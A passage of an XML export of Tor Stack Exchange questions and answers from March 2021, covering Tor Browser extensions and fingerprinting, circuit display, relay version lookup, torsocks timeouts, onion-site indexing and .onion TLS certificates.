rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/#warning&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;We do not recommend installing additional add-ons or plugins into Tor Browser&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Plugins or addons may bypass Tor or compromise your privacy. Tor Browser already comes with HTTPS Everywhere, NoScript, and other patches to protect your privacy and security.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Is this of any concern with this particular extension?&lt;/p&gt;&#xA;&lt;p&gt;I tried searching the web. I found that &lt;a href=&quot;https://github.com/keepassxreboot/keepassxc/issues/4123&quot; rel=&quot;nofollow noreferrer&quot;&gt;the extension developers specifically worked on Tor Browser integration in issue #4123&lt;/a&gt; and the extension is &lt;a href=&quot;https://wiki.archlinux.org/index.php/KeePass#keepassxc-browser_for_KeePassXC&quot; rel=&quot;nofollow noreferrer&quot;&gt;listed in the ArchWiki page for KeePass&lt;/a&gt; (with no comments on the extensions-in-Tor Browser issue). This is not particularly helpful.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Edit: Tails includes both Tor Browser and KeePassXC, but not the browser extension. The &lt;a href=&quot;https://tails.boum.org/doc/encryption_and_privacy/manage_passwords/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails documentation for KeePassXC&lt;/a&gt; says nothing about the browser extension. It does refer the reader to the &lt;a href=&quot;https://ssd.eff.org/en/module/how-use-keepassxc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Surveillance Self-Defense guide for KeePassXC&lt;/a&gt;, which includes instructions for the browser extension, but does not mention Tor (or Tor Browser).&lt;/p&gt;&#xA;" OwnerUserId="31831" LastEditorUserId="31831" LastEditDate="2021-03-08T04:01:41.940" LastActivityDate="2021-03-22T12:51:43.007" Title="Does installing the KeePassXC-Browser extension in Tor Browser change its fingerprint or otherwise reduce security?" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22126" PostTypeId="1" AcceptedAnswerId="22127" CreationDate="2021-03-07T14:03:30.713" Score="0" ViewCount="3846" Body="&lt;p&gt;Have been using tor browser in past, upgraded to latest version (10.0.12) and i found that tor button aka. onion icon addon is removed from tor browser since 9.0 - you can find it in changelog here: &lt;a href=&quot;https://blog.torproject.org/new-release-tor-browser-90&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/new-release-tor-browser-90&lt;/a&gt;. My intuition told me that i could find in settings in &lt;code&gt;Options -&amp;gt; Tor&lt;/code&gt; when it was integrated directly there, but have not found anything about circuits. I want to view current circuit, maybe set custom circuit or at least ending node.&lt;/p&gt;&#xA;" OwnerUserId="31863" LastActivityDate="2021-03-07T19:03:58.237" Title="Where to find current circuit in tor browser?" Tags="|tor-browser-bundle|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22127" PostTypeId="2" ParentId="22126" CreationDate="2021-03-07T18:55:42.207" Score="1" Body="&lt;p&gt;Just click on the lock icon in the top left corner and you should see the current circuit in the Tor Browser.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XyrWr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XyrWr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you click on the lock, you should see whether the website you are using has a secure connection or not. You will also see the current circuit being used.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UFHJz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UFHJz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can click new circuit if you want to connect to the site from different servers, though Tor does this automatically for you for every website you visit. I hope this helps!&lt;/p&gt;&#xA;&lt;p&gt;For more information, see the links below.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://support.torproject.org/tbb/#tbb-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/tbb/#tbb-2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://support.torproject.org/tbb/#tbb-40&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/tbb/#tbb-40&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can also view the design implementation of the Tor browser here:&#xA;&lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/projects/torbrowser/design/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-03-07T19:03:58.237" LastActivityDate="2021-03-07T19:03:58.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22128" PostTypeId="1" AcceptedAnswerId="22136" CreationDate="2021-03-07T21:11:01.487" Score="0" ViewCount="1374" Body="&lt;p&gt;&lt;a href=&quot;https://metrics.torproject.org/rs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html&lt;/a&gt; can see which version of Tor a node is running.&lt;/p&gt;&#xA;&lt;p&gt;How do you remotely determine that?&lt;/p&gt;&#xA;&lt;p&gt;E.g. with ssh I can simply &lt;code&gt;telnet server 22&lt;/code&gt; and the server will tell me which version of SSH it is running. Can I do something similar with a tor node?&lt;/p&gt;&#xA;" OwnerUserId="1129" LastActivityDate="2021-03-11T05:16:46.327" Title="How to determine which version of tor a node is running" Tags="|node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22130" PostTypeId="2" ParentId="21555" CreationDate="2021-03-08T12:43:28.300" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Is it okay to set the Security setting to Safest then change the about:config settings for javascript.enabled to True and allow scripts for certain websites like Stackexchange and Reddit?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Is it OK? This depends on what is important to you.&lt;/p&gt;&#xA;&lt;p&gt;This makes your browser behave differently compared to other instances of Tor Browser, or, to use the popular term, it changes your browser’s “fingerprint”. This reduces your anonymity. But it makes you less vulnerable to any flaws in the specific features that are disabled by Safest mode.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I found if I do this then go to old.reddit.com it works much better. If you don't change the about:config settings Tor won't let you connect to old.reddit.com&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I agree with &lt;a href=&quot;https://tor.stackexchange.com/a/21626/31831&quot;&gt;championquizzer&lt;/a&gt;: the &lt;a href=&quot;https://old.reddit.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;old reddit site&lt;/a&gt; works fine in Safest mode with no exceptions.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Does doing this weaken my anonymity alot? Is it okay to allow javascript on some sites while not allowing it on others where anonymity is very important durring the same session?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Now you seem to be saying that anonymity is the most important issue here, so we can be more specific: this is a terrible idea. You are changing the browser’s fingerprint &lt;em&gt;and&lt;/em&gt; leaving yourself vulnerable to JavaScript-based fingerprinting!&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Alternativley, I can set the Security setting to Safer but then I won't have as much anonymity and I would have to restart Tails when I want more anonymity.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You are supposed to restart Tails on every context switch anyway, if anonymity is that important to you.&lt;/p&gt;&#xA;" OwnerUserId="31831" LastActivityDate="2021-03-08T12:43:28.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22134" PostTypeId="1" CreationDate="2021-03-10T12:33:22.737" Score="1" ViewCount="351" Body="&lt;p&gt;I'm running a distant HTTP server, serving a single page, used for delay measurements purposes.&#xA;From my client, I'm generating multiple different custom circuits each being assigned a new upcoming stream.&lt;/p&gt;&#xA;&lt;p&gt;Each stream is generated using &lt;code&gt;python&lt;/code&gt; and &lt;code&gt;stem&lt;/code&gt; to call in a multithreaded fashion &lt;code&gt;torsocks&lt;/code&gt; as a wrapper for &lt;code&gt;httping&lt;/code&gt; with the following call:&#xA;&lt;code&gt;'torsocks -d httping -h xxx.yyy.xxx.yyy -p 80 -t 130 -c 1 -M&lt;/code&gt;&#xA;with &lt;em&gt;xxx.yyy.xxx.yyy&lt;/em&gt; being the IPv4 adress of my server.&lt;/p&gt;&#xA;&lt;p&gt;My issue is the vast majority of them timeout (more than 90%), apparently between &lt;code&gt;torsocks&lt;/code&gt; and the &lt;code&gt;tor&lt;/code&gt; Controller, when generating few dozens of similar concurrent requests (totaling less than 100kB/s).&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;-d&lt;/code&gt; debug flag's output of torsocks yield:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1615247437 DEBUG torsocks[39279]: [fclose] Close caught for fd 3 (in tsocks_fclose() at fclose.c:45)&#xA;1615247437 DEBUG torsocks[39279]: [onion] Pool init with subnet 127.42.42.0 and mask 24 (in onion_pool_init() at onion.c:103)&#xA;1615247437 DEBUG torsocks[39279]: [onion] Pool initialized with base 0, max_pos 255 and size 8 (in onion_pool_init() at onion.c:131)&#xA;1615247437 DEBUG torsocks[39279]: [getaddrinfo] Requesting xxx.yyy.xxx.yyy hostname (in tsocks_getaddrinfo() at getaddrinfo.c:44)&#xA;1615247437 DEBUG torsocks[39279]: [getaddrinfo] Node xxx.yyy.xxx.yyy will be passed to the libc call (in tsocks_getaddrinfo() at getaddrinfo.c:110)&#xA;1615247437 DEBUG torsocks[39279]: [socket] Creating socket with domain 2, type 1 and protocol 6 (in tsocks_socket() at socket.c:32)&#xA;1615247437 DEBUG torsocks[39279]: Connect caught on fd 3 (in tsocks_connect() at connect.c:118)&#xA;1615247437 DEBUG torsocks[39279]: [connect] Socket family AF_INET and type 1 (in tsocks_validate_socket() at connect.c:76)&#xA;1615247437 DEBUG torsocks[39279]: [onion] Finding onion entry for IP xxx.yyy.xxx.yyy (in onion_entry_find_by_addr() at onion.c:267)&#xA;1615247437 DEBUG torsocks[39279]: Connecting to the Tor network on fd 3 (in tsocks_connect_to_tor() at torsocks.c:473)&#xA;1615247437 DEBUG torsocks[39279]: Setting up a connection to the Tor network on fd 3 (in setup_tor_connection() at torsocks.c:368)&#xA;1615247437 DEBUG torsocks[39279]: Socks5 sending method ver: 5, nmethods 0x01, methods 0x00 (in socks5_send_method() at socks5.c:228)&#xA;1615247437 DEBUG torsocks[39279]: Socks5 received method ver: 5, method 0x00 (in socks5_recv_method() at socks5.c:262)&#xA;1615247437 DEBUG torsocks[39279]: Socks5 sending connect request to fd 3 (in socks5_send_connect_request() at socks5.c:459)&#xA;1615247557 DEBUG torsocks[39279]: Socks5 received connect reply - ver: 5, rep: 0x06, atype: 0x01 (in socks5_recv_connect_reply() at socks5.c:518)&#xA;1615247557 ERROR torsocks[39279]: Connection timed out (in socks5_recv_connect_reply() at socks5.c:547)&#xA;1615247557 DEBUG torsocks[39279]: [close] Close caught for fd 3 (in tsocks_close() at close.c:33)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My &lt;code&gt;torsocks&lt;/code&gt; config is default, as well as the &lt;code&gt;torrc&lt;/code&gt; one.&lt;/p&gt;&#xA;&lt;p&gt;As the Controller is documented as being thread safe, I'm having a hard time solving this timeout issue. How can I solve this huge share of timeouts issue ?&lt;/p&gt;&#xA;" OwnerUserId="31871" LastActivityDate="2021-03-10T12:33:22.737" Title="How to prevent torsocks timeouts from concurrent calls?" Tags="|torsocks|socks|error|client|stem|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22135" PostTypeId="2" ParentId="22064" CreationDate="2021-03-10T18:43:06.797" Score="0" Body="&lt;p&gt;I successfully changed the about:tor page by changing &lt;code&gt;chrome/torbutton/content/abouTor/aboutTor.xhtml&lt;/code&gt; in &lt;code&gt;Browser/omni.ja&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31801" LastActivityDate="2021-03-10T18:43:06.797" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22136" PostTypeId="2" ParentId="22128" CreationDate="2021-03-11T05:16:46.327" Score="1" Body="&lt;p&gt;You can download the relay's server descriptor and read the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n483&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;platform&lt;/code&gt; line&lt;/a&gt;. You can access this at the &lt;code&gt;http://1.2.3.4/tor/server/authority&lt;/code&gt; URL for a given relay's IP address if they have their &lt;code&gt;DirPort&lt;/code&gt; enabled on port 80. You can also download a &lt;a href=&quot;https://metrics.torproject.org/collector/recent/relay-descriptors/consensuses/&quot; rel=&quot;nofollow noreferrer&quot;&gt;network consensus document&lt;/a&gt; and find a relay's platform string in there. The &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stem&lt;/a&gt; library can make this easier to script, and would also allow you download the status document over a relay/OR connection if the relay doesn't have its &lt;code&gt;DirPort&lt;/code&gt; enabled.&lt;/p&gt;&#xA;&lt;p&gt;If you plan on doing this a lot, you should download these documents from the &lt;a href=&quot;https://metrics.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Metrics&lt;/a&gt; website to avoid putting extra strain on the relays.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-03-11T05:16:46.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22137" PostTypeId="2" ParentId="10664" CreationDate="2021-03-11T11:28:59.763" Score="1" Body="&lt;p&gt;I found a tool which uses http pings to check if the website is online, tells you how many ms of response and status code: &lt;a href=&quot;https://github.com/Isloka/tor-pinger/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Isloka/tor-pinger/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31875" LastActivityDate="2021-03-11T11:28:59.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22138" PostTypeId="2" ParentId="22060" CreationDate="2021-03-11T20:35:06.577" Score="0" Body="&lt;p&gt;After some research, I believe the answer is: yes and no. Here's why:&lt;/p&gt;&#xA;&lt;p&gt;The meta tag is similar to &lt;code&gt;robots.txt&lt;/code&gt; file in the sense that this is just telling crawlers who visit the site to not crawl/index the website. Both don't actually prevent robots from indexing the site, they only tells robots not to. Whether the crawler actually acknowledges them or not is what determines if a website is indexed. Most (good) crawlers do accept this. So now that's clear, let's answer the original question.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Can hidden service owners actually prevent their site from being indexed using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&amp;quot;robots&amp;quot; content=&amp;quot;noindex, nofollow&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;? Well from what we established above, the meta tag only tells the crawler not to and doesn't actually prevent this. So in theory, yes, a darknet search engine should be able to index a hidden service even with this meta tag. However, darknet search engines might respect what hidden services wish for and may not index the onion service if requested. I know Ahmia.fi follows &lt;code&gt;robots.txt&lt;/code&gt; but I never saw anything about meta tags so I don't exactly know. I don't really know about other darknet search engines. Also, hidden services might be hidden from darknet search engines through other ways:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using dynamic content generation&lt;/li&gt;&#xA;&lt;li&gt;Password-protecting access to content&lt;/li&gt;&#xA;&lt;li&gt;Contacting darknet search engines to not index their site&lt;/li&gt;&#xA;&lt;li&gt;Being in the blacklist category of darknet search engines (this may not work for all darknet search engines which don't censor sites like Torch)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So technically, the meta tag may or may not work, it depends on the darknet search engines. Plus, darknet search engines can't find every hidden service. In fact, they probably only have found a small portion of the dark web, since crawling and indexing hidden services can be tricky. All in all, hidden services can try to use the meta tag if they want to hide their site, but there isn't a guarantee so they might use a &lt;code&gt;robots.txt&lt;/code&gt; file or any of the other methods listed above as further ways of hiding/blocking darknet search engines from crawling and/or indexing their site.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-03-11T20:35:06.577" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22140" PostTypeId="1" AcceptedAnswerId="22171" CreationDate="2021-03-12T23:26:39.163" Score="0" ViewCount="249" Body="&lt;p&gt;I would like to make my traffic less traceable, but on the outside looking statically mapped to one IP address. For example, me going to a website though TOR would result in requests being sent though different TOR exit nodes, as far as I understand, which makes for different IP addresses for each request. However, I would like the website to see the same static IP address all the time, so I would like to use a proxy at the end of the chain.&lt;/p&gt;&#xA;&lt;p&gt;How could this be achieved? Should I then write my own proxy server? For example, it would accept traffic with some additional header (the destination header), unpack it and send it to the destination, and then, on request reception it would route the traffic back to the tor network.&lt;/p&gt;&#xA;&lt;p&gt;It seems like a valid option, though I'm hoping for other, less time-consuming and resourse demanding, answers.&lt;/p&gt;&#xA;" OwnerUserId="31904" LastActivityDate="2021-03-21T21:47:58.793" Title="Route TOR traffic to proxy gaining static IP address" Tags="|exit-relays|ip-address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22142" PostTypeId="2" ParentId="13887" CreationDate="2021-03-13T14:48:54.723" Score="1" Body="&lt;p&gt;As of March 2021, it appears the &lt;a href=&quot;https://www.harica.gr/Products/ServerCertificate&quot; rel=&quot;nofollow noreferrer&quot;&gt;HARICA&lt;/a&gt;, a certificate authority based in Greece, also allows you to obtain an SSL certificate for a .onion domain. While HARICA offers them cheaper,&lt;/p&gt;&#xA;&lt;p&gt;To quote their website, one of the types of certificates they offer is listed as&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;SSL DV Onion&lt;/strong&gt; (Domain Validated - Onion): SSL/TLS Server Certificate that includes one or more RFC 7686 &amp;quot;.onion&amp;quot; special-use Domain Names (e.g. &lt;a href=&quot;http://www.4gmrlefxkq4mtan6a2lqwfwa7un4brjlatka75nwdczemqqwn3wznnad.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.4gmrlefxkq4mtan6a2lqwfwa7un4brjlatka75nwdczemqqwn3wznnad.onion&lt;/a&gt;, mysite.4gmrlefxkq4mtan6a2lqwfwa7un4brjlatka75nwdczemqqwn3wznnad.onion)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I would still buy a certificate from DigiCert if you need to prove your organization's ownership of an onion site as HARICA does not appear to offer EV certificates for .onion sites.&lt;/p&gt;&#xA;&lt;p&gt;Note: I would have added this answer as a comment to @Michael Altfield's great answer above, but I do not have sufficient reputation to do so.&lt;/p&gt;&#xA;" OwnerUserId="31935" LastActivityDate="2021-03-13T14:48:54.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22144" PostTypeId="1" CreationDate="2021-03-14T01:15:25.133" Score="0" ViewCount="91" Body="&lt;p&gt;&amp;quot; &lt;a href=&quot;https://thewest.com.au/digital-edition?utm_source=SSW&amp;amp;utm_medium=Referral&amp;amp;utm_campaign=digital-edition&amp;amp;utm_term=read-the-digital-edition&amp;amp;utm_content=top-nav&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://thewest.com.au/digital-edition?utm_source=SSW&amp;amp;utm_medium=Referral&amp;amp;utm_campaign=digital-edition&amp;amp;utm_term=read-the-digital-edition&amp;amp;utm_content=top-nav&lt;/a&gt; &amp;quot;&#xA;I am a paid subscriber to this digital newspaper. I understand the reason why the website would not allow me access if they suspect anything but normal when I try to access the site and I also understand if TOR will see this attempted access as a security risk but can someone say if there is a safe way to gain access. Thank you&lt;/p&gt;&#xA;" OwnerUserId="31937" LastActivityDate="2022-04-09T04:06:40.813" Title="Is there a safe way to access this site" Tags="|security|help|connection|troubleshooting|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22145" PostTypeId="2" ParentId="22144" CreationDate="2021-03-14T18:33:51.113" Score="0" Body="&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I think I have found a possible solution. Try using: &lt;a href=&quot;https://hidester.com/proxy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hidester.com/proxy/&lt;/a&gt; as a proxy. It might let you access &lt;a href=&quot;https://thewest.com.au&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://thewest.com.au&lt;/a&gt;. Or you can try using another website as a proxy since  there are many free proxy servers available (&lt;a href=&quot;https://www.fossmint.com/free-proxy-for-anonymous-web-browsing/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.fossmint.com/free-proxy-for-anonymous-web-browsing/&lt;/a&gt;). However, I strongly discourage logging in if it is even possible. After all, the third-party proxy server would be handling your data.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HiVEz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HiVEz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;From what I've checked, the entire website (not just the link you gave) doesn't work with the Tor network. It is most likely due to the one of these two reasons:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The website is blocking Tor. Some sites may simply refuse to allow Tor users or may give them Captchas. Many websites block Tor exit nodes since some (not all) individuals use it for spamming, distributing malware, cyber attacking, etc. Of course, the majority of Tor users don't intend to do this, but for security purposes, the website might block Tor users.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Tor network breaks the website. Some sites cannot handle traffic coming from the Tor network and may not work. For example, &lt;a href=&quot;https://reddit.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://reddit.com&lt;/a&gt; doesn't work with the Tor network and gives a &lt;code&gt;503 Service Temporarily Unavailable&lt;/code&gt; error so you would have to use &lt;a href=&quot;https://old.reddit.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://old.reddit.com&lt;/a&gt; with Tor as a fix.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If this website falls into category 2, then it depends on the website owner to fix the issue and you would have to contact and request them to do so.&lt;/p&gt;&#xA;&lt;p&gt;If this website falls into category 1, there wouldn't be much you can do other than contacting the site to talk about the issue.&lt;/p&gt;&#xA;&lt;p&gt;As a sidenote, I noticed that the website &lt;strong&gt;might&lt;/strong&gt; allow &lt;strong&gt;some&lt;/strong&gt; proxies as seen below. Maybe you could try using a proxy with the Tor network though I wouldn't guarantee success. It probably won't work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qVctF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qVctF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ultimately, contacting the website owners themselves is the best option since they own the site. They probably can give you information on how to solve the issue or will explain why if you can't solve the issue. I hope this helps!&lt;/p&gt;&#xA;&lt;p&gt;Contact website: &lt;a href=&quot;https://thewest.com.au/contact&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://thewest.com.au/contact&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-03-14T18:51:56.053" LastActivityDate="2021-03-14T18:51:56.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22146" PostTypeId="2" ParentId="22054" CreationDate="2021-03-14T20:47:34.783" Score="1" Body="&lt;p&gt;It is currently unknown whether their onion service would be able to handle the load the entire Tor Browser user-base would put on it.&lt;/p&gt;&#xA;&lt;p&gt;It is also not known what the performance drop (or possibly increase) would be.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/21483&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/21483&lt;/a&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;https://gitlab.torproject.org/legacy/trac/-/issues/19735#comment:1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/legacy/trac/-/issues/19735#comment:1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For anyone else: there has also been some discussion on reddit: &lt;a href=&quot;https://old.reddit.com/r/TOR/comments/m52jeo/why_doesnt_the_tor_browser_use_duckduckgos_hidden/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://old.reddit.com/r/TOR/comments/m52jeo/why_doesnt_the_tor_browser_use_duckduckgos_hidden/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31801" LastEditorUserId="31801" LastEditDate="2021-03-14T21:11:11.190" LastActivityDate="2021-03-14T21:11:11.190" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22149" PostTypeId="1" AcceptedAnswerId="22154" CreationDate="2021-03-15T12:59:32.900" Score="0" ViewCount="268" Body="&lt;p&gt;Some clearnet sites are also available as hidden services such as DuckDuckGo, Ahmia, and Z-Library. Would using their Tor hidden service instead of their clearnet website increase your privacy/anonymity. From what I heard, the user's connection would be always through the Tor network and it would be more private. However, I'm not so educated on this particular subject and I was hoping someone could give a better explanation as to whether or not there are benefits from using a hidden service mirror of the clearnet generally. I know it might depend on the circumstances and there may be exceptions so if anyone has more knowledge on this topic and could share, I greatly appreciate it!&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-03-16T02:57:24.913" Title="Does using a hidden service mirror of a clearnet site improve the privacy/anonymity of the user (generally)?" Tags="|onion-services|anonymity|private|clear-net|mirrors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22150" PostTypeId="2" ParentId="22107" CreationDate="2021-03-15T14:52:33.403" Score="1" Body="&lt;p&gt;As HackerNCoder stated, if the G-Suite admins can access your device, then they can almost certainly see your browsing history. They can install software to monitor your usage of the Onion browser. They control your device and you can't stop them.&lt;/p&gt;&#xA;&lt;p&gt;However, if they only have access to your google account, then you are probably anonymous. I would recommend not logging though (obviously, they can see what you are doing on google services if you are logged in while using the Onion browser).&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-03-15T14:52:33.403" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22153" PostTypeId="2" ParentId="22123" CreationDate="2021-03-16T00:59:24.147" Score="1" Body="&lt;p&gt;After reading a bit, I've come to believe that &lt;em&gt;this particular extension&lt;/em&gt; may or may not affect your anonymity. It's complicated and for me, I wouldn't use it. (I believe) it's just not worth the risk given that even one error can completely deanonymize you. Here's what I found:&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;On KeePassXC-Browser extension's private policy (&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/keepassxc-browser/privacy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/keepassxc-browser/privacy/&lt;/a&gt;) it states:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The extension adds content to the page DOM when needed. However, pages cannot know the extension is used.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So in terms of the addon being detected and being used to fingerprinting you, it seems unlikely (but it is always possible - there is always a chance). I don't know how exactly, but the addon may accidentally (or not) change something about your appearance to a website and make you visible. However, if this is what the extension says, you just have to trust that it is right when you use it.&lt;/p&gt;&#xA;&lt;p&gt;Other than fingerprinting, the extension says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;The extension does not collect any information about user data or save it.&lt;/strong&gt; When KeePassXC database is connected to the extension, and database is open, site URL is transmitted to KeePassXC for comparison. &lt;strong&gt;This is not saved or cached either.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So the extension is collecting the URL but claims it doesn't save it. You basically have to trust what it says if you plan to use it. There is always a risk that one day, the extension may decide to collect/store your data (not saying it will happen, but...) with or without telling you so you have to be careful.&lt;/p&gt;&#xA;&lt;p&gt;Now the last thing I want to mention is that the extension's private policy states:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;KeePassXC-Browser has an automatic update check, which will contact GitHub only so as to check for the most recent KeePassXC version. This check is optional and can be turned off in the settings. No additional data will be transmitted besides what is necessary to establish a connection.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Now, there is an (unlikely) possibility for data to be unintentionally (or intentionally) collected through this so you might want to consider disabling this feature if you don't want this.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;It all comes down to this: do you trust this extension? Do you trust that it doesn't collect your data or harm your privacy/anonymity/security while using tor? Technically nothing can stop it from collecting data if you are using it and it wants to. From my viewpoint, it's just not worth the risk based on what I just said above. So you choose, will you use the extension?&lt;/p&gt;&#xA;&lt;p&gt;By the way, since the extension is open source, I recommend checking out in detail the code 